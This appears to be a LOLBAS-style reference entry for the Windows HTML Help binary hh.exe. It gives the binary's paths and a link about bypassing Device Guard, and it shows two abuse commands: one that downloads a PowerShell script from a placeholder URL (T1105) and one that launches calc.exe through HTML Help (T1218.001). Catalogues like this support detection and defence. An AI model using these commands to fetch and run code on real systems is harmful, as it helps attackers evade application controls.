.. /Hh.exe
Star

Binary used for processing chm files in Windows

Paths:

C:\Windows\hh.exe
C:\Windows\SysWOW64\hh.exe

Resources:

https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Acknowledgements:

Oddvar Moe (@oddvarmoe)

Detection:

Download

Open the target PowerShell script with HTML Help.
```
HH.exe http://some.url/script.ps1
```
Use case
Download files from url

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105

Execute

Executes calc.exe with HTML Help.
```
HH.exe c:\windows\system32\calc.exe
```
Use case
Execute process with HH.exe

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1218.001